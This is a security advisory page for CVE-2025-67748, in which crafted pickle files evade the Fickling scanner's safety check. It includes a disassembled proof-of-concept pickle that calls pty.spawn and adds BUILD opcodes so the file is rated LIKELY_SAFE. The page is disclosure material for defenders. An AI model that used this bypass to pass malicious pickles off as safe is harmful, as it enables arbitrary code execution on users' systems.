CVE-2025-67748: Fickling has Code Injection vulnerability via pty.spawn()
Fickling Assessment Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELYSAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.
Published Dec 15, 2025 · Updated Jun 5, 2026
Affected packages
fickling
- Ecosystem
- PyPI
- Affected
- < 0.1.6
- Fixed in
- 0.1.6
- Check
pip show fickling
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELY_SAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.
Original report
Summary
An unsafe deserialization vulnerability in Fickling allows a crafted pickle file to bypass the "unused variable" heuristic, enabling arbitrary code execution. This bypass is achieved by adding a trivial operation to the pickle file that "uses" the otherwise unused variable left on the stack after a malicious operation, tricking the detection mechanism into classifying the file as safe.
Details
Fickling relies on the heuristic of detecting unused variables in the VM's stack after execution. Opcodes like REDUCE, OBJ, and INST, which can be used for arbitrary code execution, leave a value on the stack that is often unused in malicious pickle files. This vulnerability enables a bypass by modifying the pickle file to use this leftover variable. A simple way to achieve this is to add a BUILD opcode that, in effect, adds a __setstate__ to the unused variable. This makes Fickling consider the variable "used," thus failing to flag the malicious file.
PoC
The following is a disassembled view of a malicious pickle file that bypasses Fickling's "unused variable" detection:
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'pty'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'spawn'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'id'
31: \x94 MEMOIZE (as 3)
32: \x85 TUPLE1
33: \x94 MEMOIZE (as 4)
34: R REDUCE
35: \x94 MEMOIZE (as 5)
36: \x8c SHORT_BINUNICODE 'gottem'
44: \x94 MEMOIZE (as 6)
45: b BUILD
46: . STOPHere, the additions to the original pickle file can see on lines 35, 36, 44 and 45.
When analyzing this modified file, Fickling fails to identify it as malicious and reports it as "LIKELY_SAFE" as seen here:
{
"severity": "LIKELY_SAFE",
"analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
"detailed_results": {}
}Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it relies on the "unused variable" heuristic to flag pickle files as unsafe. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
Credited to ajohnston9, 0x00nier.
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2
- https://github.com/trailofbits/fickling/pull/108
- https://github.com/trailofbits/fickling/pull/187
- https://nvd.nist.gov/vuln/detail/CVE-2025-67748
- https://github.com/pypa/advisory-database/tree/main/vulns/fickling/PYSEC-2025-113.yaml
- https://github.com/advisories/GHSA-r7v6-mfhq-g3m2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesGHSA-5cxw-w2xg-2m8h
fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
medium6.9Mar 13, 2026GHSA-r48f-3986-4f9c
fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist
medium6.9Mar 13, 2026GHSA-5hwf-rc88-82xm
Fickling missing RCE-capable modules in UNSAFE_IMPORTS
high8.9Mar 4, 2026GHSA-wccx-j62j-r448
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
high8.9Mar 4, 2026GHSA-mhc9-48gj-9gp3
Fickling has safety check bypass via REDUCE+BUILD opcode sequence
medium5.3Feb 25, 2026GHSA-mxhj-88fx-4pcv
Fickling: OBJ opcode call invisibility bypasses all safety checks
high8.6Feb 24, 2026
